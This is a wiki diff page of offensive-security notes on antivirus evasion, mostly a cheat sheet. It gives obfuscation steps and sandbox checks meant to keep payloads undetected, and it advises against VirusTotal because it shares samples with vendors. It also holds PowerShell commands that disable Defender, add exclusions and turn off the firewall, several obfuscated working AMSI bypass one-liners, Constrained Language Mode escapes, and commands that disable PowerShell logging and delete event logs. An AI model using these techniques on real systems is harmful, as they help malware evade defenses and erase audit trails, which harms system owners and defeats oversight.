Offensive Security/AV Evasion: Difference between revisions
imported>Aghanim No edit summary |
No edit summary |
||
| Line 1: | Line 1: | ||
[[File:2023-02-814005a0-c66d-4aea-aa5f-50d6153f2d54.jpeg|thumb]] | [[File:2023-02-814005a0-c66d-4aea-aa5f-50d6153f2d54.jpeg|thumb]] | ||
= Source = | = Source = | ||
* [https://tryhackme.com/room/avevasionshellcode TryHackMe | AV Evasion: Shellcode] | * [https://tryhackme.com/room/avevasionshellcode TryHackMe | AV Evasion: Shellcode] | ||
* [https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaconnect WSAConnect function (winsock2.h) - Win32 apps | Microsoft Learn] | * [https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaconnect WSAConnect function (winsock2.h) - Win32 apps | Microsoft Learn] | ||
* [https://redops.at/en/blog/direct-syscalls-a-journey-from-high-to-low Direct Syscalls: A journey from high to low - RedOps - English] | * [https://redops.at/en/blog/direct-syscalls-a-journey-from-high-to-low Direct Syscalls: A journey from high to low - RedOps - English] | ||
* [https://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis/ Raspberry Robin: Anti-Evasion How-To & Exploit Analysis - Check Point Research] | * [https://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis/ Raspberry Robin: Anti-Evasion How-To & Exploit Analysis - Check Point Research] | ||
* [https://vanmieghem.io/process-injection-evading-edr-in-2023/ Process injection in 2023, evading leading EDRs | Vincent Van Mieghem] | * [https://vanmieghem.io/process-injection-evading-edr-in-2023/ Process injection in 2023, evading leading EDRs | Vincent Van Mieghem] | ||
* [https://redsiege.com/blog/2023/04/evading-crowdstrike-falcon-using-entropy/ redsiege.com/blog/2023/04/evading-crowdstrike-falcon-using-entropy/] | * [https://redsiege.com/blog/2023/04/evading-crowdstrike-falcon-using-entropy/ redsiege.com/blog/2023/04/evading-crowdstrike-falcon-using-entropy/] | ||
* [https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)] - GREATE SOURCE FOR EVASION TECHNIQUES | * [https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)] - GREATE SOURCE FOR EVASION TECHNIQUES | ||
* Win32 API calls are well documented under the [https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list Windows API documentation] and [http://pinvoke.net/ pinvoke.net]. | * Win32 API calls are well documented under the [https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list Windows API documentation] and [http://pinvoke.net/ pinvoke.net]. | ||
* Document and organize all available API calls with malicious vectors, including [https://www.sans.org/white-papers/33649/ SANs] and [http://malapi.io/ MalAPI.io]. | * Document and organize all available API calls with malicious vectors, including [https://www.sans.org/white-papers/33649/ SANs] and [http://malapi.io/ MalAPI.io]. | ||
* OffensiveCPP [https://github.com/lsecqt/OffensiveCpp lsecqt/OffensiveCpp: This repo contains C/C++ snippets that can be handy in specific offensive scenarios. (github.com)] | * OffensiveCPP [https://github.com/lsecqt/OffensiveCpp lsecqt/OffensiveCpp: This repo contains C/C++ snippets that can be handy in specific offensive scenarios. (github.com)] | ||
* [https://github.com/sinfulz/JustEvadeBro sinfulz/JustEvadeBro: JustEvadeBro, a cheat sheet which will aid you through AMSI/AV evasion & bypasses. (github.com)] | * [https://github.com/sinfulz/JustEvadeBro sinfulz/JustEvadeBro: JustEvadeBro, a cheat sheet which will aid you through AMSI/AV evasion & bypasses. (github.com)] | ||
* [https://book.hacktricks.xyz/windows-hardening/av-bypass Antivirus (AV) Bypass - HackTricks] | * [https://book.hacktricks.xyz/windows-hardening/av-bypass Antivirus (AV) Bypass - HackTricks] | ||
* [https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf AV Evasion 101 - YouTube] | * [https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf AV Evasion 101 - YouTube] | ||
* [https://amsi.fail/ AMSI.fail] | * [https://amsi.fail/ AMSI.fail] | ||
* https://www.vx-underground.org/ | * https://www.vx-underground.org/ | ||
* [https://ethicalchaos.dev/ Ethical Chaos - Personal InfoSec development blog] | * [https://ethicalchaos.dev/ Ethical Chaos - Personal InfoSec development blog] | ||
* [https://vanmieghem.io/blog/ Blog | Vincent Van Mieghem] | * [https://vanmieghem.io/blog/ Blog | Vincent Van Mieghem] | ||
* [https://www.ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates AV Bypass with Metasploit Templates and Custom Binaries - Red Team Notes (ired.team)] | * [https://www.ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates AV Bypass with Metasploit Templates and Custom Binaries - Red Team Notes (ired.team)] | ||
= Good tools = | = Good tools = | ||
* [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn] - Monitor process in detail | * [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn] - Monitor process in detail | ||
* [https://processhacker.sourceforge.io/ Overview - Process Hacker (sourceforge.io)] - A '''free''', powerful, multi-purpose tool that helps you '''monitor system resources''', '''debug software''' and '''detect malware'''. | * [https://processhacker.sourceforge.io/ Overview - Process Hacker (sourceforge.io)] - A '''free''', powerful, multi-purpose tool that helps you '''monitor system resources''', '''debug software''' and '''detect malware'''. | ||
= Malware forums/channels/discord = | = Malware forums/channels/discord = | ||
* [https://discord.com/invite/red-team-vx-community-1012733841229746240 Read-Team VX community] | * [https://discord.com/invite/red-team-vx-community-1012733841229746240 Read-Team VX community] | ||
* Havoc Framework discord | * Havoc Framework discord | ||
* Hacktricks discord | * Hacktricks discord | ||
* OnlyMalware Discord (Need to write intro) | * OnlyMalware Discord (Need to write intro) | ||
= Test payload against AV = | = Test payload against AV = | ||
* [https://virustotal.com https://virustotal.com] (Don’t use if you want your payload to be udetected. Virustotal sends a copy of payload to antiviurs vendors. | * [https://virustotal.com https://virustotal.com] (Don’t use if you want your payload to be udetected. Virustotal sends a copy of payload to antiviurs vendors. | ||
* [https://antiscan.me https://antiscan.me] | * [https://antiscan.me https://antiscan.me] | ||
* [https://virusscan.jotti.org/en-US/scan-file Jotti's malware scan] ( All files are shared with anti-virus companies so detection accuracy of their anti-virus products can be improved.) | * [https://virusscan.jotti.org/en-US/scan-file Jotti's malware scan] ( All files are shared with anti-virus companies so detection accuracy of their anti-virus products can be improved.) | ||
= Defcon - Writing custom backdoor payloads with C# = | = Defcon - Writing custom backdoor payloads with C# = | ||
[https://github.com/mvelazc0/defcon27_csharp_workshop GitHub - mvelazc0/defcon27_csharp_workshop: Writing custom backdoor payloads with C# - Defcon 27 Workshop] | [https://github.com/mvelazc0/defcon27_csharp_workshop GitHub - mvelazc0/defcon27_csharp_workshop: Writing custom backdoor payloads with C# - Defcon 27 Workshop] | ||
[https://blog.aghanim.net/wp-content/uploads/2023/06/WritingCustomPayloads_Defcon27_LabGuide.pdf WritingCustomPayloads_Defcon27_LabGuide][https://blog.aghanim.net/wp-content/uploads/2023/06/WritingCustomPayloads_Defcon27_LabGuide.pdf Download] | [https://blog.aghanim.net/wp-content/uploads/2023/06/WritingCustomPayloads_Defcon27_LabGuide.pdf WritingCustomPayloads_Defcon27_LabGuide][https://blog.aghanim.net/wp-content/uploads/2023/06/WritingCustomPayloads_Defcon27_LabGuide.pdf Download] | ||
---- | ---- | ||
= Step by Step for obfuscating code = | = Step by Step for obfuscating code = | ||
* '''Rename Variables''': Change the names of variables, methods, and classes to non-descriptive or misleading names. Use random names or unrelated words to make it harder to understand the purpose and flow of the code. | * '''Rename Variables''': Change the names of variables, methods, and classes to non-descriptive or misleading names. Use random names or unrelated words to make it harder to understand the purpose and flow of the code. | ||
* '''Use different method for injection. '''Don't rely on VirtualAlloc, as that would be flagged easily. | * '''Use different method for injection. '''Don't rely on VirtualAlloc, as that would be flagged easily. | ||
* '''Remove Whitespace and Formatting''': Remove unnecessary whitespace, line breaks, and indentation from the code. This makes the code more difficult to read and follow. | * '''Remove Whitespace and Formatting''': Remove unnecessary whitespace, line breaks, and indentation from the code. This makes the code more difficult to read and follow. | ||
* '''Split Strings''': Split sensitive strings used in the code into multiple parts and concatenate them at runtime. This makes it harder for someone to extract the original strings from the code. | * '''Split Strings''': Split sensitive strings used in the code into multiple parts and concatenate them at runtime. This makes it harder for someone to extract the original strings from the code. | ||
* '''Use Obfuscated Logic''': Modify conditional statements and loops to use obfuscated logic. Introduce additional conditions, nested conditions, or bitwise operations to confuse the understanding of the code's behavior. | * '''Use Obfuscated Logic''': Modify conditional statements and loops to use obfuscated logic. Introduce additional conditions, nested conditions, or bitwise operations to confuse the understanding of the code's behavior. | ||
* '''Add Dummy Code''': Insert irrelevant or meaningless code snippets throughout the code. This can include unused variables, empty loops, or false branches. Add a function to calculate things and just spit out nonsense. These additions make the code harder to understand and analyze. | * '''Add Dummy Code''': Insert irrelevant or meaningless code snippets throughout the code. This can include unused variables, empty loops, or false branches. Add a function to calculate things and just spit out nonsense. These additions make the code harder to understand and analyze. | ||
* '''Replace Constants''': Replace literal values or constants in the code with calculations or obfuscated equivalents. For example, instead of using the value <code>1</code>, you could use a calculation like <code>Math.Sqrt(1)</code>. | * '''Replace Constants''': Replace literal values or constants in the code with calculations or obfuscated equivalents. For example, instead of using the value <code>1</code>, you could use a calculation like <code>Math.Sqrt(1)</code>. | ||
* '''Remove or Modify Comments''': Remove or modify comments in the code that provide insights into its functionality. Replace them with misleading or irrelevant comments to confuse the reader. | * '''Remove or Modify Comments''': Remove or modify comments in the code that provide insights into its functionality. Replace them with misleading or irrelevant comments to confuse the reader. | ||
* '''Code Rearrangement''': Rearrange the order of statements, functions, or code blocks. This disrupts the logical flow of the code and makes it harder to follow. | * '''Code Rearrangement''': Rearrange the order of statements, functions, or code blocks. This disrupts the logical flow of the code and makes it harder to follow. | ||
* '''Use Hexadecimal or Binary Representation''': Convert portions of the code into hexadecimal or binary representation. This makes it more difficult to understand the code at a glance. | * '''Use Hexadecimal or Binary Representation''': Convert portions of the code into hexadecimal or binary representation. This makes it more difficult to understand the code at a glance. | ||
* '''Code Fragmentation''': Split the code into smaller functions or files, each with a different purpose. This makes it harder to understand the overall structure and flow of the program. | * '''Code Fragmentation''': Split the code into smaller functions or files, each with a different purpose. This makes it harder to understand the overall structure and flow of the program. | ||
* '''U'''se [https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]''': '''Add CPU temp check, check the screen resolution, check if its a sandbox, add many random sleep functions. Use the website. For ex: Check if the system have 5 or more recent files opened, if not, dont run the payload because that might be a VM. The main goal is to check if its an actual machine or Sandbox/VM/AV Scanner. One particular if you're targeting a client machine is to check for mouse movement. | * '''U'''se [https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]''': '''Add CPU temp check, check the screen resolution, check if its a sandbox, add many random sleep functions. Use the website. For ex: Check if the system have 5 or more recent files opened, if not, dont run the payload because that might be a VM. The main goal is to check if its an actual machine or Sandbox/VM/AV Scanner. One particular if you're targeting a client machine is to check for mouse movement. | ||
* '''Use threatcheck or defendercheck:''' You have a code? Compile and upload to antiscan.me. If detected, remove part of the code, until its not detected anymore. When you find out what part of the code that triggered the AV, obfuscate it. | * '''Use threatcheck or defendercheck:''' You have a code? Compile and upload to antiscan.me. If detected, remove part of the code, until its not detected anymore. When you find out what part of the code that triggered the AV, obfuscate it. | ||
---- | ---- | ||
= AV Evasion MindMap - From Start to finish = | = AV Evasion MindMap - From Start to finish = | ||
[https://www.thehacker.recipes/evasion/av (AV) Anti-Virus - The Hacker Recipes] | [https://www.thehacker.recipes/evasion/av (AV) Anti-Virus - The Hacker Recipes] | ||
[[File:2023-06-Bypass-AV-1.svg|thumb]] | [[File:2023-06-Bypass-AV-1.svg|thumb]] | ||
---- | ---- | ||
= General AV Evasion cheatsheet = | = General AV Evasion cheatsheet = | ||
== Check AV - Running, Exclusion, Disable == | == Check AV - Running, Exclusion, Disable == | ||
* Check if Windows Defender is running: <code>Get-MpComputerStatus | Select RealTimeProtectionEnabled</code> | * Check if Windows Defender is running: <code>Get-MpComputerStatus | Select RealTimeProtectionEnabled</code> | ||
* Get info about Windows Defender: <code>Get-MpPreference</code> | * Get info about Windows Defender: <code>Get-MpPreference</code> | ||
* Find excluded folders from Windows Defender: <code>Get-MpPreference | select Exclusion*</code> | * Find excluded folders from Windows Defender: <code>Get-MpPreference | select Exclusion*</code> | ||
* Create exclusion: <code>Set-MpPreference -ExclusionPath "<path>"</code> | * Create exclusion: <code>Set-MpPreference -ExclusionPath "<path>"</code> | ||
* Check AV detections: <code>Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime</code> | * Check AV detections: <code>Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime</code> | ||
* Get last AV detection: <code>Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1</code> | * Get last AV detection: <code>Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1</code> | ||
* Disable AV monitoring: <code>Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true</code> | * Disable AV monitoring: <code>Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true</code> | ||
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1 | * Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1 | ||
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector | * Enumerate AV / EDR: https://github.com/tothi/serviceDetector | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
// What AV is running on the system | // What AV is running on the system | ||
// Importing necessary namespaces | // Importing necessary namespaces | ||
using System; | using System; | ||
using System.Management; | using System.Management; | ||
internal class Program | internal class Program | ||
{ | { | ||
| Line 210: | Line 142: | ||
var status = false; // Variable to track the presence of antivirus software | var status = false; // Variable to track the presence of antivirus software | ||
Console.WriteLine("[+] Antivirus check is running .. "); | Console.WriteLine("[+] Antivirus check is running .. "); | ||
// Array of antivirus processes to check for | // Array of antivirus processes to check for | ||
string[] AV_Check = { | string[] AV_Check = { | ||
| Line 218: | Line 149: | ||
"SavService.exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.exe" | "SavService.exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.exe" | ||
}; | }; | ||
// Creating a ManagementObjectSearcher to query Windows processes | // Creating a ManagementObjectSearcher to query Windows processes | ||
var searcher = new ManagementObjectSearcher("select * from win32_process"); | var searcher = new ManagementObjectSearcher("select * from win32_process"); | ||
var processList = searcher.Get(); // Retrieving the list of processes | var processList = searcher.Get(); // Retrieving the list of processes | ||
int i = 0; | int i = 0; | ||
foreach (var process in processList) | foreach (var process in processList) | ||
| Line 236: | Line 165: | ||
i++; | i++; | ||
} | } | ||
// Checking the status variable to determine if antivirus software was found or not | // Checking the status variable to determine if antivirus software was found or not | ||
if (!status) | if (!status) | ||
| Line 244: | Line 172: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Windows Firewall == | == Windows Firewall == | ||
* Get state: <code>Get-NetFirewallProfile -PolicyStore ActiveStore</code> | * Get state: <code>Get-NetFirewallProfile -PolicyStore ActiveStore</code> | ||
* Get rules: <code>Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize</code> | * Get rules: <code>Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize</code> | ||
* Disable firewall: <code>Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False</code> | * Disable firewall: <code>Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False</code> | ||
* Enable firewall: <code>Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True</code> | * Enable firewall: <code>Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True</code> | ||
* Change default policy: <code>Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow</code> | * Change default policy: <code>Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow</code> | ||
* Open port on firewall: <code>netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT></code> | * Open port on firewall: <code>netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT></code> | ||
* Remove firewall rule: <code>Remove-NetFirewallRule -DisplayName "Allow port"</code> | * Remove firewall rule: <code>Remove-NetFirewallRule -DisplayName "Allow port"</code> | ||
== Powershell - ASMI bypass methods, Disable AV, etc == | == Powershell - ASMI bypass methods, Disable AV, etc == | ||
[https://amsi.fail/ AMSI.fail] | [https://amsi.fail/ AMSI.fail] | ||
=== AMSI Bypass === | === AMSI Bypass === | ||
* Start 64 bit powershell: <code>%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe</code> | * Start 64 bit powershell: <code>%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe</code> | ||
* Change execution policy: <code>Set-ExecutionPolicy Bypass</code> or <code>-ExecutionPolicy Bypass</code> | * Change execution policy: <code>Set-ExecutionPolicy Bypass</code> or <code>-ExecutionPolicy Bypass</code> | ||
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses: | * Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses: | ||
'''If patched, just change up the strings/variables.''' | '''If patched, just change up the strings/variables.''' | ||
Single-line bypasses: | Single-line bypasses: | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
$A=\"5492868772801748688168747280728187173688878280688776\" $B=\"8281173680867656877679866880867644817687416876797271\" function C ($n, $m) { [string] ($n..$m|% { [char] [int] (29+ ($A+$B). substring ( ($_*2),2))})-replace \" \"} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,'NonPublic,Static').SetValue ($null,$true) | $A=\"5492868772801748688168747280728187173688878280688776\" $B=\"8281173680867656877679866880867644817687416876797271\" function C ($n, $m) { [string] ($n..$m|% { [char] [int] (29+ ($A+$B). substring ( ($_*2),2))})-replace \" \"} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,'NonPublic,Static').SetValue ($null,$true) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Multi-line bypass: | Multi-line bypass: | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 310: | Line 217: | ||
$field = $assembly.GetField ( ('a {0}iInitFailed' -f $b),'NonPublic,Static') | $field = $assembly.GetField ( ('a {0}iInitFailed' -f $b),'NonPublic,Static') | ||
$field.SetValue ($null,$true) | $field.SetValue ($null,$true) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Single-line bypasses: | Single-line bypasses: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) | S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html] | Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true) | [Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it's originally from Matt Graeber) | Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it's originally from Matt Graeber) | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141) | [Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html] | Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html] | ||
=== Bypass CLM (Constrained Language Mode) === | === Bypass CLM (Constrained Language Mode) === | ||
Escapes for Constrained Language Mode: | Escapes for Constrained Language Mode: | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 355: | Line 248: | ||
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode | [Runspace]::DefaultRunspace.InitialSessionState.LanguageMode | ||
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode | [Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode | ||
# Escape 2 | # Escape 2 | ||
$ExecutionContext.SessionState.LanguageMode = "FullLanguage" | $ExecutionContext.SessionState.LanguageMode = "FullLanguage" | ||
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = "FullLanguage" | [Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = "FullLanguage" | ||
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = "FullLanguage" | [Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = "FullLanguage" | ||
# Escape 3 | # Escape 3 | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage) | $ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage) | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
# Escape 4 | # Escape 4 | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,1) | $ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,1) | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
# Escape 5 | # Escape 5 | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage) | [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage) | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
# Escape 6 | # Escape 6 | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,1) | [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,1) | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
# Escape 7 | # Escape 7 | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
| Line 390: | Line 277: | ||
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').Add('*') | [Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').Add('*') | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
# Escape 8 | # Escape 8 | ||
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()} | function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()} | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Bypass logging === | === Bypass logging === | ||
Logging evasion techniques: | Logging evasion techniques: | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 407: | Line 289: | ||
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force | Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force | ||
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force | Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force | ||
# Technique 2: Disable Transcription Logging and Module Logging | # Technique 2: Disable Transcription Logging and Module Logging | ||
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force | Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force | ||
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force | Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force | ||
# Technique 3: Delete the log files from the system (requires admin privileges) | # Technique 3: Delete the log files from the system (requires admin privileges) | ||
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force | Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force | ||
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force | Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force | ||
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher) | # Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher) | ||
